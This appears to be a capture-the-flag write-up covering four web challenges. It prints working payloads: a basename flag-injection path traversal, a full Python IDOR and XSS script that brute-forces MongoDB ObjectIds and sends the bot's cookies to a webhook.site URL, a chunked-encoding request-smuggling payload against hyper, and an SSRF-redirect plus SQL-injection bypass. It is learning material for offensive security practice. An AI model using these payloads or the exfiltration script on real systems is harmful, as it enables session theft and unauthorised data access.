so to access flag we want file_target leads to ../../flag.txt, but the problem is basename in default will delete all dir prefix like ../ so if we input ../../flag program will execute cat "problems/flag.txt" not cat "problems/../../flag.txt"
luckly because urlcode remain unquoted, we can inject some command flag for basename like -z and -a. -a will make basename can execute many argument separated by space/null, so if we input .. / .. / flag it will execute .. then / then .. then / then flag, which mean we will get ../../flag path location, but all separated execution will have onewline at the end of output, we dont want that so to prevent that we have to use another command flag such as -z where -z will make output of execution dont have newline but null.
Payload
-z -a .. /.. / flag
in url
-z%20-a%20..%20/%20..%20/%20flag
Gift for tifosi
The purpose of this chall is to get the flag contained in the bot's env
if we look, the endpoint accepts an id query parameter to specify which user profile to update. It fails to verify if the currently authenticated user matches the target_id, allowing any logged-in user to modify any other user's profile (including the Admin)
XSS
in view profile page
if BeautifulSoup(text, "html.parser").find_all(): raise HTTPException(status_code=400, detail="No HTML allowed")
filter mechanism only use html.parser, to bypass this use <![CDATA[ ... ]]> because this tage returning empty list for find_all()
Exploit
The exploit flow that I am thinking of is IDOR then XSS via bot where I will change the admin profile with a script that will then be executed by the bot.
First is get admin Id to edit admin profile we have to know admin id to execute IDOR, then how we know it?, luckly objectId of mongoDB is very predictible, if we see this image
Mongo Object IDs are 12-byte hexadecimal, for example if we have objectId 5f2459ac9fa6dc2500314019 then we can say
5f2459ac: 1596217772 in decimal = Friday, 31 July 2020 17:49:32
9fa6dc: Machine Identifier
2500: Process ID
314019: An incremental counter
and because we already have admin timestamp
also machine identifier and process ID most likely will remains same, we only have to brute force counter id
this payload make bot execute fecth to webhook which contain flag
Full Script
import requestsimport jsonimport base64import timeimport sysimport datetimeBASE_URL = "http://localhost:7303"BOT_URL_TARGET = "http://proxy:80/dashboard?modal=profile"WEBHOOK_URL = "https://webhook.site/91e5fda5-534e-4c59-82ac-a9151a91ea83"def get_user_id_from_token(token): try: payload = token.split(".")[1] payload += "=" * ((4 - len(payload) % 4) % 4) decoded = base64.urlsafe_b64decode(payload).decode() data = json.loads(decoded) return data.get("sub") except Exception as e: print(f"[-] Error decoding token: {e}") return Nonedef solve(): session = requests.Session() print("[*] Registering user...") username = "hacker" + str(int(time.time())) email = f"{username}@example.com" password = "password123" try: res = session.post(f"{BASE_URL}/api/auth/register", json={ "username": username, "email": email, "password": password, "description": "Just a hacker" }) except requests.exceptions.ConnectionError: print(f"[-] Could not connect to {BASE_URL}. Is docker running?") return if res.status_code == 201: print("[+] Registered successfully") elif res.status_code != 400: print(f"[-] Registration failed: {res.text}") print("[*] Logging in...") res = session.post(f"{BASE_URL}/api/auth/login", json={ "email": email, "password": password }) if res.status_code != 200: print(f"[-] Login failed: {res.text}") return token = res.json()["data"]["access_token"] user_id = get_user_id_from_token(token) print(f"[+] My User ID: {user_id}") headers = {"Authorization": f"Bearer {token}"} target_id = None print("[*] Fetching Admin info and Scanning...") try: res_total = session.get(f"{BASE_URL}/api/dashboard/users?limit=1", headers=headers) total_users = res_total.json()["data"]["total"] print(f"[+] Total users: {total_users}") res = session.get(f"{BASE_URL}/api/dashboard/users?username=admin&limit=1", headers=headers) if res.status_code == 200 and res.json()["data"]["results"]: data = res.json()["data"]["results"][0] admin_created_at_str = data['created_at'] dt = datetime.datetime.fromisoformat(admin_created_at_str) dt = dt.replace(tzinfo=datetime.timezone.utc) admin_ts_hex = hex(int(dt.timestamp()))[2:] my_random = user_id[8:18] my_counter = int(user_id[18:], 16) est_counter = my_counter - (total_users - 1) for c in range(est_counter - 100, est_counter + 100): cid = f"{admin_ts_hex}{my_random}{hex(c)[2:].zfill(6)}" try: check = session.get(f"{BASE_URL}/api/profile/view?id={cid}", headers=headers) if check.status_code == 200 and check.json()["data"]["username"] == "admin": print(f"[+] FOUND ADMIN ID: {cid}") target_id = cid break except: pass else: print("[-] Admin not found.") except Exception as e: print(f"[-] Error: {e}") if not target_id: return print("[*] Sending XSS Payload to Admin Profile...") payload = f"<![CDATA[><img src=x onerror=\"fetch('{WEBHOOK_URL}?c='+document.cookie)\">]]>" print(f"[*] Payload: {payload}") print(f"[*] Payload Length: {len(payload)}") res = session.put(f"{BASE_URL}/api/profile/edit?id={target_id}", json={ "description": payload }, headers=headers) if res.status_code == 200: print("[+] Admin profile updated successfully") else: print(f"[-] Admin update failed: {res.text}") return print("[*] Triggering Bot...") try: bot_res = requests.post(f"{BASE_URL}/report/", data={ "url": BOT_URL_TARGET }) print(f"[*] Bot response: {bot_res.text}") except Exception as e: print(f"[-] Bot trigger failed: {e}") print(f"\n[+] Attack complete! CHECK YOUR WEBHOOK: {WEBHOOK_URL}")if __name__ == "__main__": solve()
not Simple web
The web in this challenge uses python as a proxy and rust as a backend, where our goal is to get the flag located in /secret.html, but if we look at the proxy
def _filter_route(self, request): assert request[1].startswith("/") uri = request[1] if not (re.match(r"^/\w+\.\w+$", uri) or uri == "/"): self._reject(301, "Moved Permanently", "/reject.html") if "secret" in uri.lower(): self._reject(307, "Temporary Redirect", "/reject.html")
It is clear that the word 'secret' will be filtered so that we cannot access secret.html directly.
Vuln
If we look at the libraries used in the backend in cargo.toml
[package]name = "server"version = "0.1.0"edition = "2024"[dependencies]base64 = "0.22.1"hyper = { version = "=0.14.9", features = ["full"] } # Pinned for compatibilityinclude_dir = "0.7.4"mime_guess = "2.0.5"tokio = { version = "1.46.1", features = ["full"] }
There is one library that has a vulnerability that we can exploit, namely Hyper. Hyper in version 0.14.9 has a vulnerability that we can see in CVE-2021-32714 which occurs when Hyper receives a hexadecimal chunk size larger than 64-bits (for example, 17 hex digits). Due to the overflow, Hyper will only read the bottom 64-bits. For example, when the chunk size is f0000000000000003, Hyper will assume that the chunk size is only 3 (occurs due to the overflow), while the proxy assumes the chunk size is indeed large.
Payload
POST /index.html HTTP/1.1Host: challenge.hostTransfer-Encoding: chunkedConnection: keep-aliveContent-Length: 99f0000000000000003abc0GET /secret.html HTTP/1.1Host: challenge.hostConnection: close
This payload can bypass the proxy because the proxy assumes the chunk size is f0000000000000003 which makes GET /secret.html HTTP/1.1 considered part of the chunk while the backend will assume the chunk size is 3 which makes the backend assume that abc is the entire chunk so that GET /secret.html HTTP/1.1 will be considered a new request.
Dark side of asteroids
Our goal is to get the flag that is stored in the database in the admin_secrets table and has access level = 3
secrets = [ ('Flag', FLAG, 3), ('final_message', 'You made it! Remember: the flag belongs to those who trust their own path.', 3), ('author_message', 'You sure you can get the flag? Think twice…', 2), ('welcome_note', 'Welcome to the Asteroid Admin system!', 1) ] for s in secrets: c.execute('INSERT OR IGNORE INTO admin_secrets (secret_name, secret_value, access_level) VALUES (?, ?, ?)', s)
Vuln
SSRF in /profile
The /profile endpoint allows users to upload a profile picture by providing a URL. The application attempts to validate this URL using the is_private_url function:
def is_private_url(url: str): hostname = urlparse(url).hostname if not hostname: return True ip = socket.gethostbyname(hostname) return ipaddress.ip_address(ip).is_private
we can see, the validation logic checks the resolved IP of the initial URL. However, it uses requests.get(photo_url) to fetch the content. By default, requests follows HTTP redirects. If an attacker provides a URL that points to a benign public IP (passing the check) but then redirects to a private IP (e.g., 127.0.0.1), the application will follow the redirect and access the internal resource. The validation is not applied to the redirected URL
SQLI in /internal/admin/search
in
def internal_admin_search(): if request.remote_addr != '127.0.0.1': return "Access denied", 403 conn = get_db_connection() try: search_raw = request.args.get('q', '') if search_raw == '': query = "SELECT secret_name, secret_value FROM admin_secrets WHERE access_level <= 2" else: search = filter_sqli(search_raw) query = f"SELECT secret_name, secret_value FROM admin_secrets WHERE secret_name LIKE '{search}' AND access_level <= 2" rows = conn.execute(query).fetchall() result = '' for row in rows: result += f"{row['secret_name']}: {row['secret_value']}\n" if not result: result = "No secrets found" return result, 200, {'Content-Type': 'text/plain; charset=utf-8'} except Exception as e: return f"Error: {str(e)}" finally: conn.close()
but there is a custom filter_sqli function to sanitize the input
luckly The blacklist is incomplete. It blocks spaces and many keywords, but it does not block single quotes (') or SQL comment characters (--). Additionally, the logic enforces that the string access_level must be present in the input
So we can inject a payload that closes the quote, comments out the rest of the query (removing the access_level <= 2 restriction), and ensures access_level is present in the comment to satisfy the check.
in here we will use
Flag'--access_level
to bypass access level = 3
Payload
Use redirect attack to bypass SSRF and inject SQL command to get flag